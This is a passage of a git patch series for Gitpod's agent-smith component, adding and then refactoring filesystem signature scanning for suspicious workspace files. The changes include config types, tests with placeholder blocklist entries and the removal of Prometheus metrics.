ClassifierComposite + "." + res.Classifier - return &res, nil -} - -func (cl CompositeClassifier) GetFileSignatures() []*Signature { - var allSignatures []*Signature - - for _, classifier := range cl { - if fsc, ok := classifier.(FileClassifier); ok { - signatures := fsc.GetFileSignatures() - allSignatures = append(allSignatures, signatures...) - } - } - - return allSignatures -} diff --git a/components/ee/agent-smith/pkg/classifier/classifier_test.go b/components/ee/agent-smith/pkg/classifier/classifier_test.go index 3e94289757bca9..c163f409d97ddf 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier_test.go +++ b/components/ee/agent-smith/pkg/classifier/classifier_test.go @@ -91,38 +91,3 @@ func TestCommandlineClassifier(t *testing.T) { }) } } - -func TestCountingMetricsClassifierFilesystemInterface(t *testing.T) { - // Create a signature classifier with filesystem signatures - signatures := []*classifier.Signature{ - { - Name: "test-filesystem", - Domain: classifier.DomainFileSystem, - Pattern: []byte("malware"), - Filename: []string{"malware.exe"}, - }, - } - - sigClassifier := classifier.NewSignatureMatchClassifier("test", classifier.LevelAudit, signatures) - countingClassifier := classifier.NewCountingMetricsClassifier("counting", sigClassifier) - - // Test that CountingMetricsClassifier implements FileClassifier - var fsc classifier.FileClassifier = countingClassifier - - // Test filesystem file matching (file doesn't exist, should return no match without error) - result, err := fsc.MatchesFile("/nonexistent/path/malware.exe") - if err != nil { - t.Fatalf("MatchesFile failed: %v", err) - } - - // Should return no match since file doesn't exist, but no error - if result.Level != classifier.LevelNoMatch { - t.Errorf("Expected LevelNoMatch for nonexistent file, got %v", result.Level) - } - - // Test that the interface delegation works by checking that it doesn't panic - // and returns a valid Classification - if result == nil { - t.Error("Expected non-nil Classification result") - } -} diff --git a/components/ee/agent-smith/pkg/config/config.go b/components/ee/agent-smith/pkg/config/config.go index a5710d7e97fd51..8d291e92c142a4 100644 --- a/components/ee/agent-smith/pkg/config/config.go +++ b/components/ee/agent-smith/pkg/config/config.go @@ -261,6 +261,42 @@ func (b *Blocklists) Classifier() (res classifier.ProcessClassifier, err error) return gres, nil } +// FileClassifier creates a classifier specifically for filesystem scanning +// This extracts only filesystem signatures from all blocklist levels and creates +// a clean classifier without any CountingMetricsClassifier wrapper +func (b *Blocklists) FileClassifier() (classifier.FileClassifier, error) { + if b == nil { + // Return a classifier with no signatures - will match nothing + return classifier.NewSignatureMatchClassifier("filesystem-empty", classifier.LevelAudit, nil), nil + } + + // Collect all filesystem signatures from all levels + var allFilesystemSignatures []*classifier.Signature + + for _, bl := range b.Levels() { + if bl == nil || bl.Signatures == nil { + continue + } + + for _, sig := range bl.Signatures { + if sig.Domain == classifier.DomainFileSystem { + fsSig := &classifier.Signature{ + Name: sig.Name, + Domain: sig.Domain, + Pattern: sig.Pattern, + Filename: sig.Filename, + Regexp: sig.Regexp, + } + allFilesystemSignatures = append(allFilesystemSignatures, fsSig) + } + } + } + + // Create a single SignatureMatchClassifier with all filesystem signatures + // Use LevelAudit as default - individual signatures can still have their own severity + return classifier.NewSignatureMatchClassifier("filesystem", classifier.LevelAudit, allFilesystemSignatures), nil +} + func (b *Blocklists) Levels() map[common.Severity]*PerLevelBlocklist { res := make(map[common.Severity]*PerLevelBlocklist) if b.Barely != nil { diff --git a/components/ee/agent-smith/pkg/config/config_test.go b/components/ee/agent-smith/pkg/config/config_test.go new file mode 100644 index 00000000000000..57f233fe4c4616 --- /dev/null +++ b/components/ee/agent-smith/pkg/config/config_test.go @@ -0,0 +1,149 @@ +// Copyright (c) 2024 Gitpod GmbH. All rights reserved. +// Licensed under the GNU Affero General Public License (AGPL). +// See License.AGPL.txt in the project root for license information. + +package config + +import ( + "testing" + + "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" +) + +func TestFileClassifierIndependence(t *testing.T) { + // Create a blocklist with both process and filesystem signatures + blocklists := &Blocklists{ + Audit: &PerLevelBlocklist{ + Binaries: []string{"malware"}, // Process-related + Signatures: []*classifier.Signature{ + { + Name: "process-sig", + Domain: classifier.DomainProcess, + Pattern: []byte("process-pattern"), + Filename: []string{"malware.exe"}, + }, + { + Name: "filesystem-sig", + Domain: classifier.DomainFileSystem, + Pattern: []byte("filesystem-pattern"), + Filename: []string{"virus.exe"}, + }, + }, + }, + Very: &PerLevelBlocklist{ + Signatures: []*classifier.Signature{ + { + Name: "filesystem-sig-2", + Domain: classifier.DomainFileSystem, + Pattern: []byte("another-pattern"), + Filename: []string{"trojan.exe"}, + }, + }, + }, + } + + // Test process classifier (existing functionality - should be unchanged) + processClass, err := blocklists.Classifier() + if err != nil { + t.Fatalf("Failed to create process classifier: %v", err) + } + if processClass == nil { + t.Fatal("Process classifier should not be nil") + } + + // Test new filesystem classifier + filesystemClass, err := blocklists.FileClassifier() + if err != nil { + t.Fatalf("Failed to create filesystem classifier: %v", err) + } + if filesystemClass == nil { + t.Fatal("Filesystem classifier should not be nil") + } + + // Verify filesystem classifier has the right signatures + fsSignatures := filesystemClass.GetFileSignatures() + if len(fsSignatures) != 2 { + t.Errorf("Expected 2 filesystem signatures, got %d", len(fsSignatures)) + } + + // Verify signatures are filesystem domain only + for _, sig := range fsSignatures { + if sig.Domain != classifier.DomainFileSystem { + t.Errorf("Expected filesystem domain signature, got %s", sig.Domain) + } + } + + // Verify they are completely independent objects (can't directly compare different interface types) + // Instead, verify they have different behaviors + processSignatures := 0 + if pc, ok := processClass.(*classifier.CountingMetricsClassifier); ok { + // Process classifier is wrapped in CountingMetricsClassifier + _ = pc // Just verify the type cast works + processSignatures = 1 // We know it exists because we created it + } + + filesystemSignatures := len(filesystemClass.GetFileSignatures()) + if filesystemSignatures == 0 { + t.Error("Filesystem classifier should have signatures") + } + + // They should serve different purposes + if processSignatures == 0 && filesystemSignatures == 0 { + t.Error("At least one classifier should have content") + } + + // Test filesystem classifier functionality + result, err := filesystemClass.MatchesFile("/nonexistent/virus.exe") + if err != nil { + t.Fatalf("Filesystem classification failed: %v", err) + } + if result == nil { + t.Error("Expected non-nil classification result") + } +} + +func TestFileClassifierEmptyConfig(t *testing.T) { + // Test with nil blocklists + var blocklists *Blocklists + filesystemClass, err := blocklists.FileClassifier() + if err != nil { + t.Fatalf("Failed to create filesystem classifier from nil config: %v", err) + } + if filesystemClass == nil { + t.Fatal("Filesystem classifier should not be nil even with empty config") + } + + // Should have no signatures + signatures := filesystemClass.GetFileSignatures() + if len(signatures) != 0 { + t.Errorf("Expected 0 signatures from empty config, got %d", len(signatures)) + } +} + +func TestFileClassifierNoFilesystemSignatures(t *testing.T) { + // Test with blocklists that have no filesystem signatures + blocklists := &Blocklists{ + Audit: &PerLevelBlocklist{ + Binaries: []string{"malware"}, + Signatures: []*classifier.Signature{ + { + Name: "process-only", + Domain: classifier.DomainProcess, + Pattern: []byte("process-pattern"), + Filename: []string{"malware.exe"}, + }, + }, + }, + } + + filesystemClass, err := blocklists.FileClassifier() + if err != nil { + t.Fatalf("Failed to create filesystem classifier: %v", err) + } + + // Should have no filesystem signatures + signatures := filesystemClass.GetFileSignatures() + if len(signatures) != 0 { + t.Errorf("Expected 0 filesystem signatures, got %d", len(signatures)) + } +} From 124b7ac47b9a119d15f0a859cd258d8475839fed Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 18:54:24 +0000 Subject: [PATCH 06/11] Don't get fooled by the match --- .../ee/agent-smith/pkg/classifier/sinature.go | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/components/ee/agent-smith/pkg/classifier/sinature.go b/components/ee/agent-smith/pkg/classifier/sinature.go index 9cf0d87a9f3f19..401a85b536afa5 100644 --- a/components/ee/agent-smith/pkg/classifier/sinature.go +++ b/components/ee/agent-smith/pkg/classifier/sinature.go @@ -313,6 +313,12 @@ func (s *Signature) matchTextFile(in *SignatureReadCache) (bool, error) { pos := s.Slice.Start for { n, err := in.Reader.ReadAt(buffer, pos) + if err == io.EOF { + break + } + if err != nil { + return false, xerrors.Errorf("cannot read stream: %w", err) + } sub := buffer[0:n] pos += int64(n) @@ -323,13 +329,6 @@ func (s *Signature) matchTextFile(in *SignatureReadCache) (bool, error) { if match { return true, nil } - - if err == io.EOF { - break - } - if err != nil { - return false, xerrors.Errorf("cannot read stream: %w", err) - } if s.Slice.End > 0 && pos >= s.Slice.End { break } From 8f1aa7ade9c843bd3077b6034e787772af88a13c Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 19:09:42 +0000 Subject: [PATCH 07/11] Revert "Don't get fooled by the match" This reverts commit 124b7ac47b9a119d15f0a859cd258d8475839fed. Co-authored-by: Ona --- .../ee/agent-smith/pkg/classifier/sinature.go | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/components/ee/agent-smith/pkg/classifier/sinature.go b/components/ee/agent-smith/pkg/classifier/sinature.go index 401a85b536afa5..9cf0d87a9f3f19 100644 --- a/components/ee/agent-smith/pkg/classifier/sinature.go +++ b/components/ee/agent-smith/pkg/classifier/sinature.go @@ -313,12 +313,6 @@ func (s *Signature) matchTextFile(in *SignatureReadCache) (bool, error) { pos := s.Slice.Start for { n, err := in.Reader.ReadAt(buffer, pos) - if err == io.EOF { - break - } - if err != nil { - return false, xerrors.Errorf("cannot read stream: %w", err) - } sub := buffer[0:n] pos += int64(n) @@ -329,6 +323,13 @@ func (s *Signature) matchTextFile(in *SignatureReadCache) (bool, error) { if match { return true, nil } + + if err == io.EOF { + break + } + if err != nil { + return false, xerrors.Errorf("cannot read stream: %w", err) + } if s.Slice.End > 0 && pos >= s.Slice.End { break } From f0474e614d1824639a35d3950571cdbc8f01794f Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 19:34:37 +0000 Subject: [PATCH 08/11] Cleanup Co-authored-by: Ona --- .../agent-smith/pkg/classifier/classifier.go | 30 ++----------------- 1 file changed, 2 insertions(+), 28 deletions(-) diff --git a/components/ee/agent-smith/pkg/classifier/classifier.go b/components/ee/agent-smith/pkg/classifier/classifier.go index 818896e1e0709b..de3aacc8dda65a 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier.go +++ b/components/ee/agent-smith/pkg/classifier/classifier.go @@ -160,24 +160,6 @@ func NewSignatureMatchClassifier(name string, defaultLevel Level, sig []*Signatu "classifier_name": name, }, }), - filesystemHitTotal: prometheus.NewCounter(prometheus.CounterOpts{ - Namespace: "gitpod_agent_smith", - Subsystem: "classifier_signature", - Name: "filesystem_hit_total", - Help: "total count of filesystem signature hits", - ConstLabels: prometheus.Labels{ - "classifier_name": name, - }, - }), - filesystemMissTotal: prometheus.NewCounterVec(prometheus.CounterOpts{ - Namespace: "gitpod_agent_smith", - Subsystem: "classifier_signature", - Name: "filesystem_miss_total", - Help: "total count of filesystem signature misses", - ConstLabels: prometheus.Labels{ - "classifier_name": name, - }, - }, []string{"reason"}), } } @@ -194,10 +176,8 @@ type SignatureMatchClassifier struct { Signatures []*Signature DefaultLevel Level - processMissTotal *prometheus.CounterVec - signatureHitTotal prometheus.Counter - filesystemHitTotal prometheus.Counter - filesystemMissTotal *prometheus.CounterVec + processMissTotal *prometheus.CounterVec + signatureHitTotal prometheus.Counter } var _ ProcessClassifier = &SignatureMatchClassifier{} @@ -276,7 +256,6 @@ func (sigcl *SignatureMatchClassifier) MatchesFile(filePath string) (c *Classifi } else { reason = processMissOther } - sigcl.filesystemMissTotal.WithLabelValues(reason).Inc() log.WithFields(logrus.Fields{ "filePath": filePath, "reason": reason, @@ -293,7 +272,6 @@ func (sigcl *SignatureMatchClassifier) MatchesFile(filePath string) (c *Classifi for _, sig := range matchingSignatures { match, err := sig.Matches(&src) if match { - sigcl.filesystemHitTotal.Inc() return &Classification{ Level: sigcl.DefaultLevel, Classifier: ClassifierSignature, @@ -321,15 +299,11 @@ type SignatureReadCache struct { func (sigcl *SignatureMatchClassifier) Describe(d chan<- *prometheus.Desc) { sigcl.processMissTotal.Describe(d) sigcl.signatureHitTotal.Describe(d) - sigcl.filesystemHitTotal.Describe(d) - sigcl.filesystemMissTotal.Describe(d) } func (sigcl *SignatureMatchClassifier) Collect(m chan<- prometheus.Metric) { sigcl.processMissTotal.Collect(m) sigcl.signatureHitTotal.Collect(m) - sigcl.filesystemHitTotal.Collect(m) - sigcl.filesystemMissTotal.Collect(m) } // GetFileSignatures returns signatures that are configured for filesystem domain From d2b4543a463c7fb6e3ea4e747ca579c512883cd0 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 19:50:12 +0000 Subject: [PATCH 09/11] More cleanup --- components/ee/agent-smith/pkg/agent/agent.go | 20 ++++--------------- .../agent-smith/pkg/classifier/classifier.go | 2 -- .../ee/agent-smith/pkg/detector/filesystem.go | 2 -- 3 files changed, 4 insertions(+), 20 deletions(-) diff --git a/components/ee/agent-smith/pkg/agent/agent.go b/components/ee/agent-smith/pkg/agent/agent.go index c1ab22120da96b..6c78445d810fa7 100644 --- a/components/ee/agent-smith/pkg/agent/agent.go +++ b/components/ee/agent-smith/pkg/agent/agent.go @@ -54,7 +54,7 @@ type Smith struct { detector detector.ProcessDetector classifier classifier.ProcessClassifier fileDetector detector.FileDetector - FileClassifier classifier.FileClassifier + fileClassifier classifier.FileClassifier } // NewAgentSmith creates a new agent smith @@ -181,7 +181,7 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { detector: detec, classifier: class, fileDetector: filesystemDetec, - FileClassifier: filesystemClass, + fileClassifier: filesystemClass, notifiedInfringements: lru.New(notificationCacheSize), metrics: m, @@ -316,14 +316,14 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace } // Filesystem classification workers (fewer than process workers) - if agent.FileClassifier != nil { + if agent.fileClassifier != nil { for i := 0; i < 5; i++ { wg.Add(1) go func() { defer wg.Done() for file := range fli { log.Infof("Classifying filesystem file: %s", file.Path) - class, err := agent.FileClassifier.MatchesFile(file.Path) + class, err := agent.fileClassifier.MatchesFile(file.Path) // Early out for no matches if err == nil && class.Level == classifier.LevelNoMatch { log.Infof("File classification: no match - %s", file.Path) @@ -523,22 +523,10 @@ func (agent *Smith) Describe(d chan<- *prometheus.Desc) { agent.metrics.Describe(d) agent.classifier.Describe(d) agent.detector.Describe(d) - if agent.fileDetector != nil { - agent.fileDetector.Describe(d) - } - if agent.FileClassifier != nil { - agent.FileClassifier.Describe(d) - } } func (agent *Smith) Collect(m chan<- prometheus.Metric) { agent.metrics.Collect(m) agent.classifier.Collect(m) agent.detector.Collect(m) - if agent.fileDetector != nil { - agent.fileDetector.Collect(m) - } - if agent.FileClassifier != nil { - agent.FileClassifier.Collect(m) - } } diff --git a/components/ee/agent-smith/pkg/classifier/classifier.go b/components/ee/agent-smith/pkg/classifier/classifier.go index de3aacc8dda65a..b0c1e70d6c17eb 100644 --- a/components/ee/agent-smith/pkg/classifier/classifier.go +++ b/components/ee/agent-smith/pkg/classifier/classifier.go @@ -50,8 +50,6 @@ type ProcessClassifier interface { // FileClassifier matches filesystem files against signatures type FileClassifier interface { - prometheus.Collector - MatchesFile(filePath string) (*Classification, error) GetFileSignatures() []*Signature } diff --git a/components/ee/agent-smith/pkg/detector/filesystem.go b/components/ee/agent-smith/pkg/detector/filesystem.go index e4da28bd557fd5..5663ad7c80f96a 100644 --- a/components/ee/agent-smith/pkg/detector/filesystem.go +++ b/components/ee/agent-smith/pkg/detector/filesystem.go @@ -21,8 +21,6 @@ import ( // FileDetector discovers suspicious files on the node type FileDetector interface { - prometheus.Collector - // DiscoverFiles based on a relative path match given the classifier's signatures DiscoverFiles(ctx context.Context) (<-chan File, error) } From 86861e79ead5f1cbbb5d845bf6aa621b7fa5a4d9 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 20:00:26 +0000 Subject: [PATCH 10/11] Renaming and metric removal --- components/ee/agent-smith/pkg/agent/agent.go | 10 ++- .../ee/agent-smith/pkg/detector/filesystem.go | 66 ++----------------- .../pkg/detector/filesystem_test.go | 24 +++---- 3 files changed, 22 insertions(+), 78 deletions(-) diff --git a/components/ee/agent-smith/pkg/agent/agent.go b/components/ee/agent-smith/pkg/agent/agent.go index 6c78445d810fa7..cb37ea7bec10f3 100644 --- a/components/ee/agent-smith/pkg/agent/agent.go +++ b/components/ee/agent-smith/pkg/agent/agent.go @@ -142,7 +142,7 @@ func NewAgentSmith(cfg config.Config) (*Smith, error) { var filesystemClass classifier.FileClassifier if cfg.FilesystemScanning != nil && cfg.FilesystemScanning.Enabled { // Create filesystem detector config - fsConfig := detector.FilesystemScanningConfig{ + fsConfig := detector.FileScanningConfig{ Enabled: cfg.FilesystemScanning.Enabled, ScanInterval: cfg.FilesystemScanning.ScanInterval.Duration, MaxFileSize: cfg.FilesystemScanning.MaxFileSize, @@ -257,7 +257,7 @@ type classifiedProcess struct { Err error } -type classifiedFilesystemFile struct { +type classifiedFile struct { F detector.File C *classifier.Classification Err error @@ -284,7 +284,7 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace cli = make(chan detector.Process, 500) clo = make(chan classifiedProcess, 50) fli = make(chan detector.File, 100) - flo = make(chan classifiedFilesystemFile, 25) + flo = make(chan classifiedFile, 25) ) agent.metrics.RegisterClassificationQueues(cli, clo) @@ -322,15 +322,13 @@ func (agent *Smith) Start(ctx context.Context, callback func(InfringingWorkspace go func() { defer wg.Done() for file := range fli { - log.Infof("Classifying filesystem file: %s", file.Path) class, err := agent.fileClassifier.MatchesFile(file.Path) - // Early out for no matches if err == nil && class.Level == classifier.LevelNoMatch { log.Infof("File classification: no match - %s", file.Path) continue } log.Infof("File classification result: %s (level: %s, err: %v)", file.Path, class.Level, err) - flo <- classifiedFilesystemFile{F: file, C: class, Err: err} + flo <- classifiedFile{F: file, C: class, Err: err} } }() } diff --git a/components/ee/agent-smith/pkg/detector/filesystem.go b/components/ee/agent-smith/pkg/detector/filesystem.go index 5663ad7c80f96a..5dcdaa162c209d 100644 --- a/components/ee/agent-smith/pkg/detector/filesystem.go +++ b/components/ee/agent-smith/pkg/detector/filesystem.go @@ -16,7 +16,6 @@ import ( "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" "github.com/gitpod-io/gitpod/agent-smith/pkg/common" "github.com/gitpod-io/gitpod/common-go/log" - "github.com/prometheus/client_golang/prometheus" ) // FileDetector discovers suspicious files on the node @@ -39,21 +38,15 @@ type fileDetector struct { mu sync.RWMutex fs chan File - config FilesystemScanningConfig + config FileScanningConfig classifier classifier.FileClassifier lastScanTime time.Time - // Metrics - filesScannedTotal prometheus.Counter - filesFoundTotal prometheus.Counter - scanDurationSeconds prometheus.Histogram - droppedFilesTotal prometheus.Counter - startOnce sync.Once } -// FilesystemScanningConfig holds configuration for filesystem scanning -type FilesystemScanningConfig struct { +// FileScanningConfig holds configuration for file scanning +type FileScanningConfig struct { Enabled bool ScanInterval time.Duration MaxFileSize int64 @@ -62,10 +55,10 @@ type FilesystemScanningConfig struct { var _ FileDetector = &fileDetector{} -// NewfileDetector creates a new filesystem detector -func NewfileDetector(config FilesystemScanningConfig, fsClassifier classifier.FileClassifier) (*fileDetector, error) { +// NewfileDetector creates a new file detector +func NewfileDetector(config FileScanningConfig, fsClassifier classifier.FileClassifier) (*fileDetector, error) { if !config.Enabled { - return nil, fmt.Errorf("filesystem scanning is disabled") + return nil, fmt.Errorf("file scanning is disabled") } // Set defaults @@ -83,47 +76,9 @@ func NewfileDetector(config FilesystemScanningConfig, fsClassifier classifier.Fi config: config, classifier: fsClassifier, lastScanTime: time.Time{}, // Zero time means never scanned - filesScannedTotal: prometheus.NewCounter(prometheus.CounterOpts{ - Namespace: "gitpod", - Subsystem: "agent_smith_filesystem_detector", - Name: "files_scanned_total", - Help: "total number of files scanned for signatures", - }), - filesFoundTotal: prometheus.NewCounter(prometheus.CounterOpts{ - Namespace: "gitpod", - Subsystem: "agent_smith_filesystem_detector", - Name: "files_found_total", - Help: "total number of files found for signature matching", - }), - scanDurationSeconds: prometheus.NewHistogram(prometheus.HistogramOpts{ - Namespace: "gitpod", - Subsystem: "agent_smith_filesystem_detector", - Name: "scan_duration_seconds", - Help: "time taken to scan workspace filesystems", - }), - droppedFilesTotal: prometheus.NewCounter(prometheus.CounterOpts{ - Namespace: "gitpod", - Subsystem: "agent_smith_filesystem_detector", - Name: "dropped_files_total", - Help: "total number of files dropped due to backpressure", - }), }, nil } -func (det *fileDetector) Describe(d chan<- *prometheus.Desc) { - det.filesScannedTotal.Describe(d) - det.filesFoundTotal.Describe(d) - det.scanDurationSeconds.Describe(d) - det.droppedFilesTotal.Describe(d) -} - -func (det *fileDetector) Collect(m chan<- prometheus.Metric) { - det.filesScannedTotal.Collect(m) - det.filesFoundTotal.Collect(m) - det.scanDurationSeconds.Collect(m) - det.droppedFilesTotal.Collect(m) -} - func (det *fileDetector) start(ctx context.Context) { fs := make(chan File, 100) go func() { @@ -159,11 +114,6 @@ func (det *fileDetector) start(ctx context.Context) { } func (det *fileDetector) scanWorkspaces(files chan<- File) { - start := time.Now() - defer func() { - det.scanDurationSeconds.Observe(time.Since(start).Seconds()) - }() - // Get filesystem signatures to know what files to look for filesystemSignatures := det.GetFileSignatures() if len(filesystemSignatures) == 0 { @@ -263,9 +213,6 @@ func (det *fileDetector) scanWorkspaceDirectory(wsDir WorkspaceDirectory, signat continue } - det.filesScannedTotal.Inc() - det.filesFoundTotal.Inc() - file := File{ Path: filePath, Workspace: workspace, @@ -280,7 +227,6 @@ func (det *fileDetector) scanWorkspaceDirectory(wsDir WorkspaceDirectory, signat case files <- file: log.Infof("File sent to channel: %s", filePath) default: - det.droppedFilesTotal.Inc() log.Warnf("File dropped (channel full): %s", filePath) } } diff --git a/components/ee/agent-smith/pkg/detector/filesystem_test.go b/components/ee/agent-smith/pkg/detector/filesystem_test.go index a274057087402e..513af8432fe438 100644 --- a/components/ee/agent-smith/pkg/detector/filesystem_test.go +++ b/components/ee/agent-smith/pkg/detector/filesystem_test.go @@ -31,16 +31,16 @@ func (m *mockFileClassifier) Collect(m2 chan<- prometheus.Metric) {} func TestFileDetector_Config_Defaults(t *testing.T) { tests := []struct { name string - inputConfig FilesystemScanningConfig - expectedConfig FilesystemScanningConfig + inputConfig FileScanningConfig + expectedConfig FileScanningConfig }{ { name: "all defaults", - inputConfig: FilesystemScanningConfig{ + inputConfig: FileScanningConfig{ Enabled: true, WorkingArea: "/tmp/test-workspaces", }, - expectedConfig: FilesystemScanningConfig{ + expectedConfig: FileScanningConfig{ Enabled: true, ScanInterval: 5 * time.Minute, MaxFileSize: 1024, @@ -49,13 +49,13 @@ func TestFileDetector_Config_Defaults(t *testing.T) { }, { name: "partial config", - inputConfig: FilesystemScanningConfig{ + inputConfig: FileScanningConfig{ Enabled: true, ScanInterval: 10 * time.Minute, MaxFileSize: 2048, WorkingArea: "/tmp/test-workspaces", }, - expectedConfig: FilesystemScanningConfig{ + expectedConfig: FileScanningConfig{ Enabled: true, ScanInterval: 10 * time.Minute, MaxFileSize: 2048, @@ -64,13 +64,13 @@ func TestFileDetector_Config_Defaults(t *testing.T) { }, { name: "all custom values", - inputConfig: FilesystemScanningConfig{ + inputConfig: FileScanningConfig{ Enabled: true, ScanInterval: 2 * time.Minute, MaxFileSize: 512, WorkingArea: "/tmp/test-workspaces", }, - expectedConfig: FilesystemScanningConfig{ + expectedConfig: FileScanningConfig{ Enabled: true, ScanInterval: 2 * time.Minute, MaxFileSize: 512, @@ -101,7 +101,7 @@ func TestFileDetector_Config_Defaults(t *testing.T) { } func TestFileDetector_DisabledConfig(t *testing.T) { - config := FilesystemScanningConfig{ + config := FileScanningConfig{ Enabled: false, } @@ -159,7 +159,7 @@ func TestDiscoverWorkspaceDirectories(t *testing.T) { } // Create detector with temp working area - config := FilesystemScanningConfig{ + config := FileScanningConfig{ Enabled: true, WorkingArea: tempDir, } @@ -235,7 +235,7 @@ func TestFindMatchingFiles(t *testing.T) { } // Create detector - config := FilesystemScanningConfig{ + config := FileScanningConfig{ Enabled: true, WorkingArea: "/tmp", // Not used in this test } @@ -325,7 +325,7 @@ func TestFileDetector_GetFileSignatures(t *testing.T) { }, } - config := FilesystemScanningConfig{ + config := FileScanningConfig{ Enabled: true, WorkingArea: "/tmp", } From 68cfa8d76d7ef76b22cb0ced69e6b3921c739333 Mon Sep 17 00:00:00 2001 From: Kyle Brennan Date: Sat, 16 Aug 2025 22:23:57 +0000 Subject: [PATCH 11/11] Fix build --- components/ee/agent-smith/pkg/detector/filesystem_test.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/ee/agent-smith/pkg/detector/filesystem_test.go b/components/ee/agent-smith/pkg/detector/filesystem_test.go index 513af8432fe438..87c10c1d104f06 100644 --- a/components/ee/agent-smith/pkg/detector/filesystem_test.go +++ b/components/ee/agent-smith/pkg/detector/filesystem_test.go @@ -108,10 +108,10 @@ func TestFileDetector_DisabledConfig(t *testing.T) { mockClassifier := &mockFileClassifier{} _, err := NewfileDetector(config, mockClassifier) if err == nil { - t.Error("expected error when filesystem scanning is disabled, got nil") + t.Error("expected error when file scanning is disabled, got nil") } - expectedError := "filesystem scanning is disabled" + expectedError := "file scanning is disabled" if err.Error() != expectedError { t.Errorf("expected error %q, got %q", expectedError, err.Error()) }